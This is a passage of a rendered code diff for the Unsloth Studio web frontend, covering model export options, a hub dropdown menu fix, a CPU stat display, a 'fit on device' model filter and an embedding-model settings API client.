set({ quantIndex: i + 1 });
}
} else if (params.exportMethod === "gguf") {
// Send the whole quant list in ONE call: the model is merged once and every GGUF comes
// from that single merge (unsloth save_to_gguf loops internally).
const { outputPath } = await runRecoverableOp(() =>
exportGGUF({
save_directory: params.saveDirectory,
quantization_method: params.quantLevels,
push_to_hub: pushToHub,
repo_id: params.repoId,
hf_token: params.token,
imatrix: params.useImatrix,
}),
);
if (outputPath) outputs.push({ label: "GGUF", path: outputPath });
if (!isCurrent()) return;
set({ quantIndex: get().quantTotal });
} else if (params.exportMethod === "lora") {
const { outputPath } = await runRecoverableOp(() =>
exportLoRA({
save_directory: params.saveDirectory,
push_to_hub: pushToHub,
repo_id: params.repoId,
hf_token: params.token,
// A local GGUF LoRA export still reloads a possibly-gated base config, so fall back to
// the load token when there is no hub-upload token (both are the same HF token).
hf_token: params.token ?? params.loadToken ?? null,
private: params.privateRepo,
gguf: params.loraGguf ?? false,
gguf_outtype: params.loraGgufOuttype ?? "q8_0",
}),
);
lastOutputPath = outputPath;
if (outputPath) {
outputs.push({
label: params.loraGguf ? "GGUF LoRA adapter" : "LoRA adapter",
path: outputPath,
});
}
}
if (!isCurrent()) return;
@ -499,7 +525,11 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
phase: "success",
isExporting: false,
reconnecting: false,
result: { outputPath: lastOutputPath, destination: params.destination },
result: {
outputPath: outputs[0]?.path ?? null,
outputPaths: outputs,
destination: params.destination,
},
});
} catch (err) {
if (!isCurrent()) return;

36
studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
View file

@ -38,6 +38,7 @@ export function HubOptionMenu<T extends string>({
showChevron = true,
title,
triggerContent,
footer,
}: {
value: T;
options: readonly HubOption<T>[];
@ -49,9 +50,12 @@ export function HubOptionMenu<T extends string>({
showChevron?: boolean;
title?: string;
triggerContent?: ReactNode;
/** Rendered under the options behind a separator; clicks keep the menu open. */
footer?: ReactNode;
}) {
const [open, setOpen] = useState(false);
const [activeIndex, setActiveIndex] = useState(0);
// -1 = nothing highlighted (no hover, no keyboard nav yet).
const [activeIndex, setActiveIndex] = useState(-1);
const triggerRef = useRef<HTMLButtonElement | null>(null);
const listboxRef = useRef<HTMLDivElement | null>(null);
const idBase = useId();
@ -63,9 +67,9 @@ export function HubOptionMenu<T extends string>({
}, [options, value]);
const selected = options[selectedIndex];
const resolvedActiveIndex =
options.length === 0
options.length === 0 || activeIndex < 0
? -1
: Math.min(Math.max(activeIndex, 0), options.length - 1);
: Math.min(activeIndex, options.length - 1);
const activeOptionId =
resolvedActiveIndex >= 0 ? `${idBase}-option-${resolvedActiveIndex}` : undefined;
@ -92,11 +96,13 @@ export function HubOptionMenu<T extends string>({
(nextOpen: boolean) => {
setOpen(nextOpen);
if (nextOpen) {
activateIndex(selectedIndex);
// Nothing highlighted until the user hovers or uses the keyboard;
// keyboard nav anchors on the selected option (handleContentKeyDown).
activateIndex(-1);
requestAnimationFrame(() => listboxRef.current?.focus());
}
},
[activateIndex, selectedIndex],
[activateIndex],
);
const handleContentKeyDown = useCallback(
@ -112,12 +118,21 @@ export function HubOptionMenu<T extends string>({
}
if (event.key === "ArrowDown") {
event.preventDefault();
setActiveIndex((currentIndex + 1) % options.length);
// First arrow press highlights the selected option, then steps.
setActiveIndex(
resolvedActiveIndex < 0
? selectedIndex
: (currentIndex + 1) % options.length,
);
return;
}
if (event.key === "ArrowUp") {
event.preventDefault();
setActiveIndex((currentIndex - 1 + options.length) % options.length);
setActiveIndex(
resolvedActiveIndex < 0
? selectedIndex
: (currentIndex - 1 + options.length) % options.length,
);
return;
}
if (event.key === "Home") {
@ -197,6 +212,7 @@ export function HubOptionMenu<T extends string>({
aria-activedescendant={activeOptionId}
tabIndex={0}
onKeyDown={handleContentKeyDown}
onPointerLeave={() => activateIndex(-1)}
className="outline-none"
>
{options.map((option, index) => {
@ -235,6 +251,12 @@ export function HubOptionMenu<T extends string>({
);
})}
</div>
{footer && (
// -mt-3 cancels the surface's 16px flex gap down to 4px. No side
// padding: the footer label carries the same padding as the options
// so its checkbox lines up with the option text.
<div className="-mt-3 border-t border-border/60 pt-1">{footer}</div>
)}
</PopoverContent>
</Popover>
);

6
studio/frontend/src/features/hub/catalog/models-header.tsx
View file

@ -15,6 +15,7 @@ import {
PackageIcon,
RamMemoryIcon,
RemoveCircleIcon,
CpuIcon
} from "@hugeicons/core-free-icons";
import type { IconSvgElement } from "@hugeicons/react";
import { HugeiconsIcon } from "@hugeicons/react";
@ -43,6 +44,7 @@ export function ModelsHeader({
isDataset,
gpuLabel,
ramLabel,
coreLabel,
activeCheckpoint,
activeGgufVariant,
onTitleClick,
@ -53,6 +55,7 @@ export function ModelsHeader({
isDataset: boolean;
gpuLabel: string;
ramLabel: string;
coreLabel: string;
activeCheckpoint: string | null;
activeGgufVariant: string | null;
onTitleClick: () => void;
@ -84,7 +87,8 @@ export function ModelsHeader({
value={String(localCount)}
/>
<StatPill icon={ChipIcon} label="VRAM" value={gpuLabel} />
<StatPill icon={RamMemoryIcon} label="CPU RAM" value={ramLabel} />
<StatPill icon={RamMemoryIcon} label="RAM" value={ramLabel} />
<StatPill icon={CpuIcon} label="CPU" value={coreLabel} />
{activeCheckpoint && (
<div className="hub-tag-soft ml-1 inline-flex items-center gap-1.5 px-2 py-1 text-[11.5px]">

33
studio/frontend/src/features/hub/catalog/models-toolbar.tsx
View file

@ -1,6 +1,7 @@
// SPDX-License-Identifier: AGPL-3.0-only
// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
import { Checkbox } from "@/components/ui/checkbox";
import { Input } from "@/components/ui/input";
import { Spinner } from "@/components/ui/spinner";
import {
@ -68,6 +69,8 @@ export const ModelsToolbar = memo(function ModelsToolbar({
onFormatFilterChange,
capabilityFilter,
onCapabilityFilterChange,
fitOnDeviceOnly,
onFitOnDeviceOnlyChange,
onManageLocalFolders,
onOpenFineTune,
}: {
@ -84,6 +87,9 @@ export const ModelsToolbar = memo(function ModelsToolbar({
onFormatFilterChange: (value: ModelFormatFilter) => void;
capabilityFilter: CapabilityFilter;
onCapabilityFilterChange: (value: CapabilityFilter) => void;
/** Shared with the chat model selector: hide models over the device budget. */
fitOnDeviceOnly: boolean;
onFitOnDeviceOnlyChange: (value: boolean) => void;
onManageLocalFolders: () => void;
/** Opens the curated "Fine-tune ready" channel (discover only). Exposed as a
* format-dropdown option rather than a standalone feed section. */
@ -350,6 +356,33 @@ export const ModelsToolbar = memo(function ModelsToolbar({
onValueChange={onSortChange}
ariaLabel="Sort models"
className={cn(triggerBase, "w-[128px]")}
footer={
isDataset ? undefined : (
<Tooltip>
<TooltipTrigger asChild>
<button
type="button"
role="checkbox"
aria-checked={fitOnDeviceOnly}
onClick={() => onFitOnDeviceOnlyChange(!fitOnDeviceOnly)}
className="flex w-full cursor-pointer select-none items-center gap-2 rounded-[10px] px-3 py-2 text-left text-[12.5px] text-muted-foreground transition-colors hover:text-foreground"
>
<Checkbox
checked={fitOnDeviceOnly}
tabIndex={-1}
aria-hidden
className="pointer-events-none size-3.5 rounded-full [&_svg]:!size-2.5"
/>
Only show models that fit
</button>
</TooltipTrigger>
<TooltipContent side="bottom">
Hides models larger than this device's memory budget.
Downloaded models stay visible.
</TooltipContent>
</Tooltip>
)
}
/>
)}

43
studio/frontend/src/features/hub/hub-page.tsx
View file

@ -5,6 +5,7 @@ import {
loadRememberedLoadSettings,
rememberedLoadSettingsKey,
} from "@/components/assistant-ui/model-selector/remembered-load-settings";
import { hfModelFitsDevice } from "@/components/assistant-ui/model-selector/recommended-fit";
import { useHubInventory } from "@/features/hub/inventory";
import { useDebouncedValue } from "@/hooks/use-debounced-value";
import { useGpuInfo } from "@/hooks/use-gpu-info";
@ -327,6 +328,9 @@ export function ModelsPage() {
const activeCheckpoint =
checkpoint && !isExternalModelId(checkpoint) ? checkpoint : null;
const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
// Shared with the chat model selector: list only models sized for this device.
const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly);
const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly);
useEffect(() => {
let cancelled = false;
@ -697,7 +701,12 @@ export function ModelsPage() {
!isHiddenModelId(row.id) &&
matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
matchesCapability(row.capabilities, deferredCapabilityFilter) &&
(!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)),
(!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)) &&
// Models already on disk stay visible regardless of device fit,
// matching the chat model selector.
(!fitOnDeviceOnly ||
row.isAvailableOnDevice ||
hfModelFitsDevice(row.result, gpu)),
);
}, [
discoverRows,
@ -705,6 +714,8 @@ export function ModelsPage() {
effectiveDiscoverFormat,
deferredCapabilityFilter,
activeChannel,
fitOnDeviceOnly,
gpu,
]);
const listRows = filteredDiscoverRows;
@ -724,8 +735,21 @@ export function ModelsPage() {
effectiveLocalRows,
)
.filter((row) => !isHiddenModelId(row.id))
.filter((row) => matchesFormat(row.result.isGguf, "gguf")),
[hubFeed.trending.results, modelDiscoveryInventorySignature],
.filter((row) => matchesFormat(row.result.isGguf, "gguf"))
// Same fit filter as the main Discover list, so the feed carousel
// honors the toggle too.
.filter(
(row) =>
!fitOnDeviceOnly ||
row.isAvailableOnDevice ||
hfModelFitsDevice(row.result, gpu),
),
[
hubFeed.trending.results,
modelDiscoveryInventorySignature,
fitOnDeviceOnly,
gpu,
],
);
const feedRows = useMemo(() => {
if (!isFeedMode) return [];
@ -1061,11 +1085,15 @@ export function ModelsPage() {
const { vramInfo, minMemory } = useHubModelVram(selectedModel, gpu);
const gpuLabel = gpu.available
? `${Math.floor(gpu.memoryTotalGb)} GB`
? `${Math.round(gpu.memoryTotalGb)} GB`
: "Unavailable";
const ramLabel =
gpu.systemRamAvailableGb > 0
? `${Math.floor(gpu.systemRamAvailableGb)} GB`
gpu.systemRamTotalGb > 0
? `${Math.round(gpu.systemRamTotalGb)} GB`
: "Unavailable";
const coreLabel =
gpu.cpuCore > 0 && gpu.cpuThread > 0
? `${gpu.cpuCore}/${gpu.cpuThread}`
: "Unavailable";
const openNewChat = useCallback(() => {
@ -1429,6 +1457,7 @@ export function ModelsPage() {
isDataset={isDatasetMode}
gpuLabel={gpuLabel}
ramLabel={ramLabel}
coreLabel={coreLabel}
activeCheckpoint={activeCheckpoint}
activeGgufVariant={activeGgufVariant}
onTitleClick={handleResetToDiscover}
@ -1448,6 +1477,8 @@ export function ModelsPage() {
onFormatFilterChange={setFormatFilter}
capabilityFilter={capabilityFilter}
onCapabilityFilterChange={setCapabilityFilter}
fitOnDeviceOnly={fitOnDeviceOnly}
onFitOnDeviceOnlyChange={setFitOnDeviceOnly}
onManageLocalFolders={handleManageLocalFolders}
onOpenFineTune={() => handleOpenList("finetune")}
/>

82
studio/frontend/src/features/settings/api/embedding-model.ts Normal file
View file

@ -0,0 +1,82 @@
// SPDX-License-Identifier: AGPL-3.0-only
// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
import { authFetch } from "@/features/auth";
import { readFastApiError } from "@/lib/format-fastapi-error";
export type EmbeddingModelSettings = {
embeddingModel: string;
defaultEmbeddingModel: string;
isCustom: boolean;
};
type ApiEmbeddingModelSettings = {
// biome-ignore lint/style/useNamingConvention: API schema
embedding_model: string;
// biome-ignore lint/style/useNamingConvention: API schema
default_embedding_model: string;
// biome-ignore lint/style/useNamingConvention: API schema
is_custom: boolean;
};
/** 409 from the backend: the model could not be verified as an embedding model
* (wrong type, gated repo, or offline). Retry with force to save anyway. */
export class EmbeddingModelVerificationError extends Error {}
function fromApi(settings: ApiEmbeddingModelSettings): EmbeddingModelSettings {
return {
embeddingModel: settings.embedding_model,
defaultEmbeddingModel: settings.default_embedding_model,
isCustom: settings.is_custom,
};
}
export async function loadEmbeddingModelSettings(): Promise<EmbeddingModelSettings> {
const res = await authFetch("/api/settings/embedding-model");
if (!res.ok) {
throw new Error(
await readFastApiError(res, "Failed to load embedding model setting"),
);
}
return fromApi(await res.json());
}
export async function updateEmbeddingModelSettings(
embeddingModel: string,
options?: { hfToken?: string; force?: boolean },
): Promise<EmbeddingModelSettings> {
const res = await authFetch("/api/settings/embedding-model", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
// biome-ignore lint/style/useNamingConvention: API schema
embedding_model: embeddingModel,
// biome-ignore lint/style/useNamingConvention: API schema
hf_token: options?.hfToken || null,
force: options?.force ?? false,
}),
});
if (res.status === 409) {
throw new EmbeddingModelVerificationError(
await readFastApiError(res, "Could not verify the embedding model"),
);
}
if (!res.ok) {
throw new Error(
await readFastApiError(res, "Failed to save embedding model"),
);
}
return fromApi(await res.json());
}
export async function resetEmbeddingModelSettings(): Promise<EmbeddingModelSettings> {
const res = await authFetch("/api/settings/embedding-model", {
method: "DELETE",
});
if (!res.ok) {
throw new Error(
await readFastApiError(res, "Failed to reset embedding model"),
);
}
return fromApi(await res.json());
}

Some files were not shown because too many files have changed in this diff Show more